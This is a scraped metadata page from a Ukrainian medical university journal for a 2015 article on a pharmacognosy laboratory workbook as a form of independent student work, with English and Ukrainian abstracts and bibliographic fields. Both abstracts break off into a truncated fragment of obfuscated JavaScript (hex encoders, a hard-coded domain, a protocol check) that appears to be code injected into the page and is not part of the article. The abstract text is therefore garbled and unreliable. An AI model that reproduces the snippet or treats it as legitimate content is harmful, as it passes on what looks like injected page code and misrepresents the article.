LABARATORY HAND-BOOK OF PHARMACOGNOSY AS A ONE OF THE STUDENTS INDEPENDENT WORK
Наукові журнали Тернопільського державного медичного університету імені І.Я.Горбачевського
Переглянути архів Інформація| Поле | Співвідношення | |
| Title |
LABARATORY HAND-BOOK OF PHARMACOGNOSY AS A ONE OF THE STUDENTS INDEPENDENT WORK
РОБОЧИЙ ЖУРНАЛ З ФАРМАКОГНОЗІЇ ЯК ОДИН iЗ ВИДІВ САМОСТІЙНОЇ РОБОТИ СТУДЕНТІВ |
|
| Creator |
Cholak, I. S.; Тернопільський державний медичнрй університет імені І.Я. Горбачевського
|
|
| Subject |
—
— — — — |
|
| Description |
Most scientists consider independent work as an essential component of educational process, which involves the integration of different types of individual and collective educational activities. Independent work using the hand-book is a critical component of the educational process, which is carried out as in the classroom, extracurricular classes, without a teacher, and under his leadership. The main advantages of hand-book are: mastering certain knowledge, skills, consolidation and systematization of theoretical knowledge during training; targeting students for independent critical thinking and search activities; printed basis of working material allows to increase productivity of classwork, to solve more tasks at the same time.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Більшість науковців розглядає самостійну роботу як найважливіший компонент педагогічного процесу, що передбачає інтеграцію різних видів індивідуальної та колективної навчальної діяльності. Самостійна робота з використанням робочого журналу є одним з найважливіших компонентів освітнього процесу, яка здійснюється як під час аудиторних,позааудиторних занять, без участі викладача, так і під його безпосереднім керівництвом. Основними перевагами робочого журналу є засвоєння певних знань, умінь, навичок, закріплення та систематизація теоретичних знань, отриманиху процесі навчання; націлювання студентів на самостійне критичне мислення та пошукову діяльність; друкована основа робочого матеріалу надає можливість підвищити продуктивність заняття, розв’язати більшу кількість завдань за один і той же час.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e |
|
| Publisher |
Ternopil State Medical University
|
|
| Contributor |
—
— |
|
| Date |
2015-12-17
|
|
| Type |
info:eu-repo/semantics/article
info:eu-repo/semantics/publishedVersion — — — |
|
| Format |
application/pdf
|
|
| Identifier |
http://ojs.tdmu.edu.ua/index.php/med_osvita/article/view/5396
10.11603/me.v0i4.5396 |
|
| Source |
Medical Education; № 4 (2015)
Медична освіта; № 4 (2015) 2414-5998 1681-2751 10.11603/me.v0i4 |
|
| Language |
ukr
|
|
| Relation |
http://ojs.tdmu.edu.ua/index.php/med_osvita/article/view/5396/4960
|
|
| Coverage |
—
— — — — — |
|
| Rights |
##submission.copyrightStatement##
|
|